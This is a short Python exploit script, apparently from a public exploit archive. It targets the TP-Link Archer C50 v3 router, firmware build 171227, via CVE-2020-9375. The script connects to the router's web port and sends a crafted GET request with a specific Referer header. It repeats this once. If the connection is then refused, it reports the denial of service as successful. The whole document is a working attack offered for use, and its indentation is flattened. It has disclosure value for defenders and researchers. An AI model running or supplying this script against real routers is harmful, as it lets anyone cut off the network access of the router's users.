TP-Link Archer C50 V3 Denial of Service

`# Exploit Title: TP-Link Archer C50 v3 Denial of Service  
# Date: 25-01-2020  
# Exploit Author: thewhiteh4t  
# Vendor Homepage: https://www.tp-link.com/  
# Version: TP-Link Archer C50 v3 Build 171227  
# Tested on: Arch Linux x64  
# CVE: CVE-2020-9375  
# Description: https://thewhiteh4t.github.io/2020/02/27/CVE-2020-9375-TP-Link-Archer-C50-v3-Denial-of-Service.html  
  
import time  
import socket  
  
ip = '192.168.0.1'  
port = 80  
  
print('[+] IP : ' + ip)  
print('[+] Port : ' + str(port))  
  
for i in range(2):  
time.sleep(1)  
try:  
print('[+] Initializing Socket...')  
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
s.settimeout(5)  
print('[!] Connecting to target...')  
s.connect((ip, port))  
header = 'GET / HTTP/1.1\r\nHost: {}\r\nUser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:72.0) Gecko/20100101 Firefox/72.0\r\nReferer: thewhiteh4t\r\n\r\n'.format(ip)  
header = header.encode()  
print('[!] Sending Request...')  
s.sendall(header)  
print('[!] Disconnecting Socket...')  
s.close()  
if i == 1:  
print('[-] Exploit Failed!')  
break  
except Exception as e:  
if 'Connection refused' in str(e):  
print('[+] Connection Refused...Exploit Successful!')  
break  
else:  
print('[-] Exploit Failed!')  
break  
`